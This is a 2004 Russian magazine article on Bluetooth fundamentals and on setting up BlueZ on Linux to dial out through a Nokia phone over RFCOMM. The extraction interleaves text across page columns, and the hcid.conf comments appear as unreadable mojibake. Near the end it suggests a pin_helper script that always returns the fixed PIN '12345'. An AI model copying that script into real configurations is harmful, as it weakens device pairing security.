лицензирования. Исключением являются Франция, Испания и Япония. Диапазон частот от 2,402 ГГц до 2,480 ГГц разбивается на 79 каналов размером в 1 МГц. Для уменьшения помех от внешних устройств вроде СВЧ-печей и повышения безопасности 1600 раз в секунду происходит псевдослучайный выбор одного из каналов. Отправка данных происходит уже с новым значением базовой частоты, взятым из выбранного интервала. Таким образом, получается, что приемник и передатчик синхронно переключают каналы связи. В англоязычной литературе это явление называется Frequency Hopping. 1

На данный момент существуют два основных подвида bluetooth-устройств. Отличаются они только дальностью действия. Большинство имеют зону уверенного приема сигнала радиусом в 10 метров. Хотя некоторые экземпляры обладают усилителем сигнала и способны взаимодействовать друг с другом на расстоянии 100 метров при условии, что все это будет происходить на открытой местности. Еще одним интересным свойством такого способа общения является возможность спонтанного1 объединения нескольких bluetooth-устройств в своеобразную динамическую локальную мини-сеть, называемую piconet. Давайте разберемся, как это реализовано на практике. Устройства, не присоединенные ни к одному piconet, находятся в режиме Standby и каждые 1,28 секунды слушают эфир на 32 зарезервированных для этого частотах. Как только они входят в зону устойчивой взаимной слышимости с другим устройством, одно из устройств принимает на себя главенствующую роль и начинает отсылать в эфир пакеты Inquiry. После отправки 16 пакетов по одному на каждую частоту наступает пауза, в течение которой должны прийти ответы от подчиненных устройств. Если никто не отозвался, то проверяются оставшиеся 16 частот. Обнаружение активных устройств зависит от того, в каком режиме они находятся: ! Non-discoverable – не отвечает на запросы о присоединении к piconet. ! Limited discoverable – в этом режиме находятся устройства, которые отвечают на запрос только в определенное время или при соблюдении некоторых условий. ! Discoverable mode – отвечает на все полученные запросы. На самом деле все обстоит еще сложнее. Вдобавок для того, чтобы присоединение к сети состоялось, устройство должно работать в режиме connectable. Если же оно находится в режиме non-connectable, то соседям, скорее всего, удастся его обнаружить, но обмениваться данными с ним будет невозможно. В случае если все необходимые формальности соблюдены, устройство, инициировавшее обмен пакетами, становится ведущим (Master), а остальные принимают роль ведомых (Slave). При необходимости любое из ведомых устройств может запросить смену роли и стать мастером взамен прежнего лидера. В момент присоединения к piconet каждое Slave-устройство получает от мастера FHSпакет, в котором содержится Global_ID, используемый для определения номера шаблона прыжков по частотному диапазону и параметр clock, указывающий смещение внутри этого самого шаблона. Войдя в piconet, ведомое устройство получает трехбитный адрес AMA (Active Member Adress), тем самым показывая, что оно готово к общению с соседями. Мастер-устройство всегда имеет адрес 0. С помощью трех бит возможно адресовать не более восьми устройств, таким образом, получается, что внутри piconet

Находящиеся рядом устройства слушают эфир и периодически «засыпают», затем снова «просыпаются» и пытаются найти соседей. Поэтому точно до миллисекунды сказать, когда произойдет соединение, не представляется возможным.

№10(23), октябрь 2004

21


администрирование будут одновременно разговаривать только мастер и семеро подчиненных. Из-за этого в русскоязычных статьях о bluetooth укоренилось одно из распространенных заблуждений, гласящее, что в piconet не может быть более восьми устройств. Давайте посмотрим, почему это не соответствует действительности. При входе в piconet девятого устройства мастер принудительно переводит одного из подчиненных в режим Park и отбирает у него адрес AMA, выдавая взамен восьми-битный адрес PMA (Passive Member Adress). Освободившийся AMA-адрес отдается вновь прибывшему. Припаркованные устройства продолжают периодически прослушивать эфир в надежде услышать информацию, адресованную им. В случае если устройство с PMAадресом хочет что-то сказать, ему приходится спросить разрешения у мастера, получить отобранный у кого-то другого AMA-адрес и только после этого начать передавать данные. Комбинация из AMA- и PMA-адресов позволяет иметь в одном piconet 256 устройств, из которых лишь 8 активно передают данные. Для экономии энергии мастер может перевести любое из подчиненных устройств в режимы Hold или Sniff, тем самым говоря: «Просыпайся каждые n интервалов». Разница между ними состоит в том, что в режиме Hold устройство должно молчать между пробуждениями, а в режиме Sniff в случае необходимости оно может передавать данные. В то же время само управляемое устройство может запросить перевод в любой из вышеупомянутых режимов. Мини-сети легко могут сообщаться между собой через устройства, находящиеся в зоне действия двух и более сетей. Таким образом, они объединяются в структуры, называемые Scatternet. Стоит отметить тот факт, что устройство может быть мастером лишь в одном piconet, но это не мешает ему входить в другой piconet в роли подчиненного. Примерную схему Scatternet, состоящую из трех piconet, можно увидеть на следующем рисунке.

Разобравшись с тем, как строятся взаимоотношения bluetooth-устройств на самом нижнем уровне, давайте посмотрим, как реализован стек протоколов.

22

Все базируется на радиочастотных каналах, о которых мы говорили выше по тексту, RF (Radio Frequnce). Каналами управляет аппаратура Baseband. Выше находится Link Manager, реализующий протокол LMP (Link Manager Protocol). В его задачи входит управление каналом и реализация процедур безопасности на физическом уровне. Следующим в иерархии числится L2CAP (Logical Link Control and Adaptation Layer Protocol). Он является базовым транспортным протоколом передачи данных. Большинство вышестоящих протоколов пользуются его услугами для приема и отправки пакетов. Основные свойства L2CAP, на которые стоит обратить внимание: ! Protocol Multiplexing – позволяет определить, кому из протоколов верхнего уровня предназначены те или иные пакеты. ! Segmentation and Reassembly – максимальный размер пакета L2CAP установлен в 64 кб, а Baseband оперирует пакетами размером в 341 байт. Поэтому L2CAP отправителя обязан создавать из больших пакетов последовательность мелких, а получатель в свою очередь должен склеивать их по мере поступления. ! QOS – позволяет гарантировать, что ширина полосы и временные задержки для важного трафика не достигнут критических пределов. Перейдем к протоколам верхнего уровня. Думаю, с TCP/IP все ясно. Протокол HID реализует взаимодействие с устройствами Human Interface Design. К устройствам такого типа принадлежат модификации клавиатур, мышей и прочего оборудования, с которым напрямую взаимодействуюет человек. RFCOMM эмулирует соединение точка-точка через интерфейс стандартного последовательного COM-порта, передавая данные поверх L2CAP. Следующим интересным для нас протоколом является SDP (Service Discovery Protocol). В его обязанности входит выполнение следующих действий: ! Поиск и выбор сервисов, предоставляемых другими устройствами по специальным критериям. ! Поиск сервисов по классам. К примеру, если нам нужно найти устройство, предоставляющее сервис Dial-up networking, то поиск должен вернуть нам имена только тех устройств, внутри которых есть модем.


администрирование ! Поддерживать базу данных доступных служб в актуальном состоянии. Еще одним объектом, заслуживающим нашего внимания является HCI (Host Controller Interface). Он представляет собой командный интерфейс к контроллеру baseband и слою, реализующему Link Manager. С его помощью можно узнавать и изменять состояние контрольных регистров bluetoothустройств. Закончив с протоколами верхнего уровня, хотелось бы поговорить о службе audio, часто называемой bluetooth voice. С ее помощью могут одновременно передаваться три голосовых потока. Характеристики каждого из них определяются приложением, передающим данные. Максимальное возможное качество звука достигается при частоте дискретизации в 48 кГц. На схеме от компонента audio не зря исходят две стрелки. Дело в том, что звук может передаваться либо напрямую через Baseband, либо, как и все остальные данные, через L2CAP. Конечно, в случае передачи голоса через L2CAP устройство получает меньше возможностей управлять голосовым трафиком, но такой подход позволяет легко стыковать bluetooth- и не bluetooth-сети. Плюс ко всему появляется возможность шифровать голосовой трафик алгоритмами повышенной стойкости. Раз уж зашел разговор о шифровании, стоит поговорить о системе безопасности, применяемой в устройствах bluetooth. Технология защиты данных изначально встроена в протокол. В зависимости от ценности передаваемых данных можно применять один из трех режимов безопасности. ! Security mode 1 (non secure) – устройство не инициирует никаких защитных процедур и полностью открыто для общения. ! Security mode 2 (service level enforced security) – защитные процедуры выполняются только после установления и настройки параметров соединения. Требования безопасности в данном случае определяют службы, передающие трафик. ! Security mode 3 (link level enforced security) – защита инициализируется в процессе установления и настройки соединения. В случае если второе устройство не может выполнить требования безопасности, соединение беспрекословно разрывается. Стоит обратить внимание на то, что второй и третий режимы можно комбинировать, обеспечивая повышенную безопасность соединения. Получается, что сначала устанавливается защищенное соединение, а затем данные, передаваемые по нему, шифруются в соответствии с требованиями сервисов отправителя и получателя. Краеугольным камнем системы безопасности bluetooth является сеансный ключ. Он создается в момент соединения и впоследствии используется для шифрования и идентификации всего передаваемого трафика. Впрочем, никто не мешает дополнительно шифровать трафик на уровне приложений. Несмотря на попытку рассказывать только о ключевых моментах, оставляя несущественные подробности за бортом, я, признаться, немного устал излагать теорию работы bluetooth. Посему предлагаю сейчас же перейти к практическому применению полученных знаний.

№10(23), октябрь 2004

Bluetooth + Linux на практике Чтобы система смогла увидеть наше usb bluetooth-устройство, первым делом убеждаемся, что мы работаем на достаточно свежем ядре. У меня используется ALT Linux, версия ядра 2.4.26-std-up-alt6. Давайте посмотрим, какой тип контроллера USB у нас установлен. # lspci 00:00.0 Host bridge: Intel Corp. 82845 845 (Brookdale) Chipset Host Bridge (rev 04) 00:01.0 PCI bridge: Intel Corp. 82845 845 (Brookdale) Chipset AGP Bridge (rev 04) 00:1d.0 USB Controller: Intel Corp. 82801DB (ICH4) USB UHCI #1 (rev 03) 00:1d.1 USB Controller: Intel Corp. 82801DB (ICH4) USB UHCI #2 (rev 03) 00:1d.2 USB Controller: Intel Corp. 82801DB (ICH4) USB UHCI #3 (rev 03) 00:1d.7 USB Controller: Intel Corp. 82801DB (ICH4) USB2 EHCI Controller (rev 03) 00:1e.0 PCI bridge: Intel Corp. 82801BAM/CAM PCI Bridge (rev 83) 00:1f.0 ISA bridge: Intel Corp. 82801DBM LPC Interface Controller (rev 03) 00:1f.1 IDE interface: Intel Corp. 82801DBM (ICH4) Ultra ATA Storage Controller (rev 03) 00:1f.3 SMBus: Intel Corp. 82801DB/DBM (ICH4) SMBus Controller (rev 03) 00:1f.5 Multimedia audio controller: Intel Corp. 82801DB (ICH4) AC'97 Audio Controller (rev 03) 00:1f.6 Modem: Intel Corp. 82801DB (ICH4) AC'97 Modem Controller (rev 03) 01:00.0 VGA compatible controller: ATI Technologies Inc Radeon R250 Lf [Radeon Mobility 9000 M9] (rev 02) 02:03.0 CardBus bridge: Ricoh Co Ltd RL5c475 (rev b8) 02:03.1 FireWire (IEEE 1394): Ricoh Co Ltd R5C551 IEEE 1394 Controller 02:07.0 CardBus bridge: Texas Instruments PCI1410 PC card Cardbus Controller (rev 01) 02:08.0 Ethernet controller: Intel Corp. 82801BD PRO/100 VE (LOM) Ethernet Controller (rev 83)

Судя по выводу, у нас есть UHCI- и EHCI-контроллеры USB. Проверяем, что написано про USB в /etc/modules, среди всего прочего там должны быть строки: usbcore usb-uhci

А в файле /etc/modules.conf нужно найти следующее сочетание символов: alias usb-interface usb-uhci

Теперь необходимо убедиться в том, что все модули, необходимые для поддержки USB, загружены в память. lsmod | grep usb hci_usb 8600 1 usb-storage 139744 0 usb-uhci 21676 0 (unused) usbcore 58464 1 [hci_usb ehci-hcd usb-storage usb-uhci] scsi_mod 95296 5 [sg sr_mod sd_mod usb-storage ide-scsi]

Если это не так, то следует перезагрузить систему, чтобы загрузка нужных модулей прошла автоматически на основе содержимого файлов /etc/modules и /etc/modules.conf, либо загрузить модули вручную с помощью команды insmod. Подробнее почитать о реализации USB в Linux можно в статье Виктора Костромина http://vikos.lrn.ru//kos.php?name= papers/usb/USB-Lin.html и, конечно же, на сайте www.linuxusb.org. Тут нужно сделать маленькое отступление. Дело в том, на свете существует несколько реализаций стека протоколов bluetooth. Самые распространенные из них – это OpenBT, первоначально созданный фирмой Axis: http://developer. axis.com/software/bluetooth и Bluez – детище Qualcom http://

23


администрирование bluez.sourceforge.net. Оба поставляются вместе с исходниками. Некоторое время назад безусловным лидером являлся OpenBT, потому что его реализация на тот момент была надежнее и проще. Да и возможности работы с BCSP были весьма мощные. Но по мере дозревания Bluez стал догонять, а затем и превзошел OpenBT по всем показателям. Отдельного упоминания стоит удобство и гибкость использования PAN (Personal Area Network). К тому же Bluez позволяет легко работать с протоколом OBEX поверх RFCOMM. В деле популяризации Bluez не последнюю роль сыграл тот факт, что он по умолчанию включен во все новые ядра Linux. К тому же алгоритмы работы с RFCOMM у Bluez оказались написаны на редкость удачно, что позволило создавать весьма гибкие решения. Также стоит упомянуть, что в природе существуют программные комплексы BlueDrekar от IBM: http://www.alpha Works.ibm.com/tech/bluedrekar и Affix от Nokia http://affix. sourceforge.net/. Внутри первого из них встроена полноценная реализация bluetooth, но, к сожалению, исходных текстов этого продукта никто не видел. А вот вторая разработка, изначально развивавшаяся под эгидой компании Nokia, на данный момент является типичным OpenSource. Приняв во внимание все вышеизложенные факты, делаем однозначный вывод. Для работы с нашими bluetoothустройствами удобнее всего будет использовать Bluez. Настало время установить пакеты, необходимые для работы bluetooth.

Стоит отметить, что каждое bluetooth-устройство имеет уникальный шестизначный адрес, в дальнейшем называемый BD (Bluetooth Device)-адрес. Больше все это похоже на MAC-адреса обычных сетевых карт. Проверяем, как система видит наш USB-адаптер. # hciconfig -a hci0: Type: USB BD Address: 00:00:00:00:00:00 ACL MTU: 0:0 SCO MTU: 0:0 DOWN RX bytes:0 acl:0 sco:0 events:0 errors:0 TX bytes:0 acl:0 sco:0 commands:0 errors:0 Features: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00 Packet type: DM1 DH1 HV1 Link policy: Link mode: SLAVE ACCEPT

Надпись «DOWN» и BD-адрес, полный нолей, говорят о том, что в системе не запущен демон hcid (Bluetooth Host Controller Interface Daemon). Поведение демона определяется настройками, обычно находящимися в файле /etc/ bluetooth/hcid.conf. Давайте посмотрим, как выглядит содержимое этого файла, и разберемся, что именно означает каждая опция. Файл /etc/bluetooth/hcid.conf: options { # Àâòîìàòè÷åñêè èíèöèàëèçèðîâàòü íîâûå óñòðîéñòâà # autoinit yes; # Íàñòðîéêè ìåíåäæåðà áåçîïàñíîñòè: # none – ìåíåäæåð îòêëþ÷åí; # auto – ïðè ïîëó÷åíèè âõîäÿùåãî ñîåäèíåíèÿ çàïðàøèâàòü # PIN-êîä; # user – çàïðàøèâàòü PIN-êîä âñåõ ñîåäèíåíèé # áåç èñêëþ÷åíèÿ # security auto;

# apt-get install libbluez libbluez-devel ↵ bluez-hciemu bluez-hcidump bluez-utils

Смотрим, что добавилось в /etc/modules.conf:

# Íàñòðîéêè ñîåäèíåíèÿ â ïàðó: # none – ñîåäèíåíèå îòêëþ÷åíî; # multi – ðàçðåøåíèå ñîçäàâàòü ïàðó ñ òåìè óñòðîéñòâàìè, # êîòîðûå óæå ñîñòîÿò â äðóãèõ ïàðàõ; # once – ïðîèçâîäèòü ïîïûòêó ñîåäèíåíèÿ òîëüêî îäèí ðàç # pairing multi;

alias net-pf-31 bluez alias bt-proto-0 l2cap alias bt-proto-2 sco

Перезагружаем машину, чтобы проверить, как автоматически загружаются модули bluez. Конечно, можно было загрузить их вручную с помощью modprobe и imsmod, но мне больше нравится, чтобы все делалось автоматически. После окончания загрузки системы проверяем, как себя чувствует модуль bluez. # lsmod | grep bluez bluez 30116 1 [hci_usb]

Затем вставляем bluetooth-адаптер в разъем USB. В файле /var/log/messages и на двенадцатой консоли должны появиться следующие сообщения: Sep 28 21:23:19 tiger kernel: hub.c: new USB device 00:1d.0-1, assigned address 2 Sep 28 21:23:24 tiger kernel: BlueZ Core ver 2.3 Copyright (C) 2000,2001 Qualcomm Inc Sep 28 21:23:24 tiger kernel: Written 2000,2001 by Maxim Krasnyansky <maxk@qualcomm.com> Sep 28 21:23:24 tiger kernel: BlueZ HCI USB driver ver 2.5 Copyright (C) 2000,2001 Qualcomm Inc Sep 28 21:23:24 tiger kernel: Written 2000,2001 by Maxim Krasnyansky <maxk@qualcomm.com> Sep 28 21:23:24 tiger kernel: usb.c: registered new driver hci_usb 2

24

# Ïðîãðàììà, ïðèíèìàþùàÿ PIN-êîä îò ïîëüçîâàòåëÿ è # ïåðåäàþùàÿ åãî óäàëåííîìó bluetooth-óñòðîéñòâó, # îáû÷íî íàçûâàåòñÿ pin_helper. # pin_helper /usr/bin/bluepin;

}

# Èìÿ ïðîãðàììû, âûäàþùåé PIN äëÿ ðåæèìà D-Bus, # êàê âèäèòå, â íàøåì ñëó÷àå îíà íå èñïîëüçóåòñÿ # #dbus_pin_helper;

# Íàñòðîéêè ïî óìîë÷àíèþ äëÿ âñåõ HCI-óñòðîéñòâ device { # Èìÿ ëîêàëüíîãî bluetooth-óñòðîéñòâà â ïðèíöèïå ìîæåò # áûòü ëþáûì, õîòÿ, êîíå÷íî, ëó÷øå âïèñàòü ÷òî-òî # îñìûñëåííîå.  êà÷åñòâå íåîáÿçàòåëüíîãî äîïîëíåíèÿ # ìîæíî âïèñàòü â òåêñò èìåíè ñèìâîëû ïîäñòàíîâêè. # %d – id óñòðîéñòâà # %h – èìÿ õîñòà # Íàïðèìåð, òàêàÿ çàïèñü name "Bluetooth (%h)" â ìîåé # ñèñòåìå ñîçäàñò èìÿ óñòðîéñòâà «Bluetooth tiger». #  ñëó÷àå åñëè èìÿ õîñòà ñëèøêîì äëèííîå, ïîäñòàíîâêà # ìîæåò íå ïðîèçâîäèòüñÿ. Ñîîòâåòñòâåííî, ïîëó÷èì ïðîñòî # «Bluetooth». # name "tigroid"; # Êëàññ ëîêàëüíîãî óñòðîéñòâà. # 0x100 îáîçíà÷àåò êîìïüþòåð.

Подробнее о типах пакетов можно прочитать здесь: http://www.winlab.rutgers.edu/~pravin/publications/papers/Mobicomhandout.pdf и http://www.cs.ucla.edu/NRL/wireless/uploads/04_ICC_APT.pdf.


администрирование # class 0x100; # Òèï ïàêåòîâ ïî óìîë÷àíèþ. # Îáû÷íî ðàçðåøåíû âñå âîçìîæíûå òèïû2. # DM3 DM5 DH1 DH3 DH5 HV1 HV2 HV3 #pkt_type DH1, DM1, HV1; # Ðàçðåøåíèå íà ñêàíèðîâàíèå óñòðîéñòâ ìåòîäàìè Inquiry # è Page # iscan enable; pscan enable; # Ðåæèì ñîåäèíåíèÿ ïî óìîë÷àíèþ # none – íå èñïîëüçîâàòü íèêàêèõ ïîëèòèê äëÿ ñîåäèíåíèÿ # accept – âñåãäà ïðèíèìàòü âõîäÿùèå ñîåäèíåíèÿ # master – áðàòü íà ñåáÿ ðîëü âåäóùåãî óñòðîéñòâà ïðè # ïîëó÷åíèè âõîäÿùåãî ñîåäèíåíèÿ, è çàïðåùàòü ñìåíó # ðîëåé äëÿ èñõîäÿùèõ ñîåäèíåíèé. # lm accept, master; # Ïîëèòèêà ñîåäèíåíèÿ ïî óìîë÷àíèþ # none – íå èñïîëüçîâàòü íèêàêèõ ïîëèòèê äëÿ ñîåäèíåíèÿ # rswitch – ðàçðåøèòü ñìåíó ðîëåé # hold – ðàçðåøèòü ðåæèì hold # sniff – ðàçðåøèòü ðåæèì sniff # park – ðàçðåøèòü ïàðêîâêó # lp rswitch, hold, sniff, park;

}

# Àóòåíòèôèêàöèÿ è øèôðîâàíèå auth enable; encrypt enable;

Закончив изучение настроек, запускаем демон hcid и смотрим, как изменились характеристики USB bluetoothадаптера.

Указанием на то, что телефон включил bluetooth, можно считать появление в верхнем левом углу дисплея значка, изображающего радиоволны. С помощью утилиты hcitool начинаем сканирование окружающего пространства. # hcitool scan Scanning ... 00:02:EE:B6:6A:E5

Nokia 6310i

Наш телефон благополучно нашелся. Теперь мы знаем, что его BD-адрес 00:02:EE:B6:6A:E5. В дальнейшем мы будем обращаться к нему именно по этому адресу. Проверим, насколько надежно работает передача пакетов между двумя устройствами. Для этого воспользуемся программой l2ping. # l2ping 00:02:EE:B6:6A:E5 Ping: 00:02:EE:B6:6A:E5 from 00:0A:3A:53:36:41 (data size 20) ... 0 bytes from 00:02:EE:B6:6A:E5 id 200 time 31.69ms 0 bytes from 00:02:EE:B6:6A:E5 id 201 time 39.49ms 0 bytes from 00:02:EE:B6:6A:E5 id 202 time 30.31ms 0 bytes from 00:02:EE:B6:6A:E5 id 203 time 34.12ms 4 sent, 4 received, 0% loss

Теперь посмотрим дополнительную информацию об удаленном устройстве. # hcitool info 00:02:EE:B6:6A:E5 Requesting information ... BD Address: 00:02:EE:B6:6A:E5 Device Name: Nokia 6310i LMP Version: 1.1 (0x1) LMP Subversion: 0x22c Manufacturer: Nokia Mobile Phones (1) Features: 0xbf 0x28 0x21 0x00 0x00 0x00 0x00 0x00 <3-slot packets> <5-slot packets> <encryption> <slot offset> <timing accuracy> <role switch> <sniff mode> <SCO link> <HV3 packets> <CVSD>Õ

# hcid # hciconfig -a hci0: Type: USB BD Address: 00:0A:3A:53:36:41 ACL MTU: 192:8 SCO MTU: 64:8 UP RUNNING PSCAN ISCAN AUTH ENCRYPT RX bytes:2947 acl:80 sco:0 events:149 errors:0 TX bytes:2610 acl:59 sco:0 commands:61 errors:0 Features: 0xff 0xff 0x0b 0x00 0x00 0x00 0x00 0x00 Packet type: DM1 DM3 DM5 DH1 DH3 DH5 HV1 HV2 HV3 Link policy: RSWITCH Link mode: SLAVE ACCEPT Name: 'tigroid' Class: 0x000100 Service Classes: Unspecified Device Class: Computer, Uncategorized HCI Ver: 1.1 (0x1) HCI Rev: 0x20d LMP Ver: 1.1 (0x1) LMP Subver: 0x20d Manufacturer: Cambridge Silicon Radio (10)

В комплект программ, предназначенных для работы с HCI, входит еще одна полезная программа, hcidump. Думаю, по ее названию вы смогли догадаться, что перед нами утилита для прослушивания трафика, проходящего через HCIинтерфейсы. Эта программа становится особенно полезной в ситуациях, когда не удается подружить два bluetoothустройства. К примеру, давайте посмотрим, какие данные проходят через используемый нами интерфейс hci0 во время выполнения команды hcitool info. Для этого на одной консоли запускаем hcidump, а на второй снова выполняем команду hcitool info.

Судя по выводу, все идет как надо. Локальное bluetoothустройство получило BD-адрес 00:0A:3A:53:36:41. Давайте теперь поищем удаленные bluetooth-устройства. Для этого включаем bluetooth на телефоне.

# hcidump –i hci0 -X HCIDump - HCI packet analyzer ver 1.12 device: hci0 snap_len: 1028 filter: 0xffffffff > HCI Event: Command Status (0x0f) plen 4 0000: 00 01 05 04 .... > HCI Event: Command Complete (0x0e) plen 10 0000: 01 0b 04 00 e5 6a b6 ee 02 00 .....j.... > HCI Event: Connect Complete (0x03) plen 11 0000: 00 29 00 e5 6a b6 ee 02 00 01 01 .)..j...... > HCI Event: Command Complete (0x0e) plen 6 0000: 01 0d 08 00 29 00 ....). > HCI Event: Command Status (0x0f) plen 4 0000: 00 01 19 04 .... > HCI Event: Remote Name Req Complete (0x07) plen 255 0000: 00 e5 6a b6 ee 02 00 4e 6f 6b 69 61 20 36 33 31 ..j....Nokia 631 0010: 30 69 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0i.............. 0020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0060: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0070: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0080: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0090: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................

№10(23), октябрь 2004

25


администрирование 00b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 00f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ............... > HCI Event: Command Status (0x0f) plen 4 0000: 00 01 1d 04 .... > HCI Event: Read Remote Ver Info Complete (0x0c) plen 8 0000: 00 29 00 01 01 00 2c 02 .)....,. > HCI Event: Command Status (0x0f) plen 4 0000: 00 01 1b 04 .... > HCI Event: Read Remote Supported Features (0x0b) plen 11 0000: 00 29 00 bf 28 21 00 00 00 00 00 .)..(!..... > HCI Event: Command Status (0x0f) plen 4 0000: 00 01 06 04 .... > HCI Event: Disconn Complete (0x05) plen 4 0000: 00 29 00 16 .).. > HCI Event: Command Status (0x0f) plen 4 > HCI Event: Read Remote Supported Features (0x0b) plen 11 > HCI Event: Command Status (0x0f) plen 4 > HCI Event: Disconn Complete (0x05) plen 4

С помощью ключа –i можно указать, какой именно интерфейс нужно прослушивать. В нашем случае это hci0. Делать это необходимо только в системах с двумя и более hci-интерфейсами. В противном случае hcidump будет прослушивать первый по порядку интерфейс. Как говорил один известный персонаж, «Все ходы у нас записаны». И в случае чего можно будет запросто заняться отладкой неработающего соединения. Теперь было бы интересно узнать, какие сервисы Nokia 6310i может нам предоставить. Для этого на компьютере должен работать sdp-демон, который реализует протокол Service Discovery Protocol. А вслед за ним необходимо запустить утилиту sdptool, получающую данные от демона и показывающую их пользователю. # sdpd # sdptool browse 00:02:EE:B6:6A:E5 Browsing 00:02:EE:B6:6A:E5 ... Service Name: Fax Service RecHandle: 0x1001e Service Class ID List: "Fax" (0x1111) "Generic Telephony" (0x1204) Protocol Descriptor List: "L2CAP" (0x0100) "RFCOMM" (0x0003) Channel: 2 Language Base Attr List: code_ISO639: 0x656e encoding: 0x6a base_offset: 0x100 Profile Descriptor List: "Fax" (0x1111) Version: 0x0100 Service Name: OBEX Object Push Service RecHandle: 0x1001f Service Class ID List: "OBEX Object Push" (0x1105) Protocol Descriptor List: "L2CAP" (0x0100) "RFCOMM" (0x0003) Channel: 9 "OBEX" (0x0008) Language Base Attr List: code_ISO639: 0x656e encoding: 0x6a base_offset: 0x100 Profile Descriptor List: "OBEX Object Push" (0x1105) Version: 0x0100 Service Name: Audio Gateway Service RecHandle: 0x10020

26

Service Class ID List: "Headset Audio Gateway" (0x1112) "Generic Audio" (0x1203) Protocol Descriptor List: "L2CAP" (0x0100) "RFCOMM" (0x0003) Channel: 12 Language Base Attr List: code_ISO639: 0x656e encoding: 0x6a base_offset: 0x100 Profile Descriptor List: "Headset" (0x1108) Version: 0x0100 Service Name: COM 1 Service RecHandle: 0x10021 Service Class ID List: "Serial Port" (0x1101) Protocol Descriptor List: "L2CAP" (0x0100) "RFCOMM" (0x0003) Channel: 3 Language Base Attr List: code_ISO639: 0x656e encoding: 0x6a base_offset: 0x100 Service Name: Voice Gateway Service RecHandle: 0x10022 Service Class ID List: "" (0x111f) "Generic Audio" (0x1203) Protocol Descriptor List: "L2CAP" (0x0100) "RFCOMM" (0x0003) Channel: 13 Language Base Attr List: code_ISO639: 0x656e encoding: 0x6a base_offset: 0x100 Profile Descriptor List: "" (0x111e) Version: 0x0100 Service Name: Dial-up networking Service RecHandle: 0x10027 Service Class ID List: "Dialup Networking" (0x1103) "Generic Networking" (0x1201) Protocol Descriptor List: "L2CAP" (0x0100) "RFCOMM" (0x0003) Channel: 1 Language Base Attr List: code_ISO639: 0x656e encoding: 0x6a base_offset: 0x100 Profile Descriptor List: "Dialup Networking" (0x1103) Version: 0x0100

Думаю, что для выхода в Интернет нам лучше всего использовать сервис под названием «Dialup Networking», привязанный к каналу номер 1 (Channel: 1). Для того чтобы воспользоваться интересующим сервисом, нужно связать его с устройством rfcomm. Проверим, есть ли у нас в системе столь необходимые устройства: # ll /dev/rfcomm* lrwxrwxrwx 1 root root lrwxrwxrwx 1 root root lrwxrwxrwx 1 root root

6 Aug 4 09:29 /dev/rfcomm0 -> ttyUB0 6 Aug 4 09:29 /dev/rfcomm1 -> ttyUB1 6 Aug 4 09:29 /dev/rfcomm2 -> ttyUB2

Для того чтобы получить возможность работать с устройством rfcomm, как с обычным COM-портом, нужно привязать его к каналу, через который доступен интересный для нас сервис. Как уже упоминалось выше, Dial-up Networking


администрирование в телефоне Nokia 6310i закреплен за первым каналом. В устройствах от других производителей могут использоваться номера каналов, отличающиеся от приведенных в этой статье. Привязать канал к rfcomm можно либо на постоянной основе с помощью команды bind, либо на один раз с помощью команды connect. В первом случае привязка сохранится вне зависимости от того, сколько раз мы соединялись с устройством, а во втором после окончания соединения привязка будет разорвана. Привожу оба варианта: # rfcomm bind rfcomm0 00:02:EE:B6:6A:E5 1 # rfcomm connect rfcomm0 00:02:EE:B6:6A:E5 1

После выполнения любой из этих команд нужно проверить, правильно ли все работает. Делается это с помощью вызова следующей команды: # rfcomm show rfcomm0: 00:02:EE:B6:6A:E5 channel 1 clean

Самые нетерпеливые могут присоединиться к устройству /dev/rfcomm0 программой minicom и управлять модемом с помощью стандартных AT-команд. Я же предпочитаю пойти другим путем. Для дозвона к провайдеру будет использоваться программа kppp. Впрочем, все желающие могут использовать стандартный pppd. Это всего лишь дело вкуса, потому что kppp все равно запускает pppd. Запустив kppp, воспользуемся кнопкой «Настроить», затем выбираем вкладку соединения и жмем Создать → Ручная настройка. Настраиваем все так, как показано на следующих рисунках.

Завершив настройку соединения, переходим на вкладку «Устройство» и изменяем данные, отображенные на ней, следующим образом.

Выбираем только что созданное соединение, указав имя пользователя и пароль, жмем «Подключиться». Если все настроено правильно, то на дисплее телефона должен появиться следующий запрос:

№10(23), октябрь 2004

27


администрирование Согласившись, вводим PIN-код, который в дальнейшем будет использоваться для авторизации соединения с устройством tigroid.

Во время работы я столкнулся с такой проблемой. Несмотря на то что телефон признал в компьютере свою пару, подключение не срабатывало. В этом случае рекомендуется разрушить парность устройств, воспользоваться меню, изображенными на следующих снимках. Затем, удалив файл /etc/bluetooth/link_key, заново пройти процедуру авторизации.

На экране компьютера появится аналогичный запрос на ввод PIN-кода.

В случае если с авторизацией все хорошо, нужно попробовать выполнить соединение с провайдером. На экране телефона должны появляться следующие изображения.

Стоит отметить, что принятием кода занимается программа pin_helper, о которой мы говорили ранее. К сожалению, не во всех дистрибутивах она работает гладко. Если у вас дело обстоит именно так, то можно написать свой собственный pin_helper примерно такого содержания: #!/bin/sh echo "PIN:12345"

Даем ему исполняемые атрибуты и вписываем название в /etc/bluetooth/hcid.conf. Проблем – как не бывало. В случае если оба устройства опознают друг друга с помощью одинакового PIN-кода, происходит соединение в пару. Опробовав полученное соединение, вновь возвращаемся к настройке системы.

Иначе получаем вот такое уведомление:

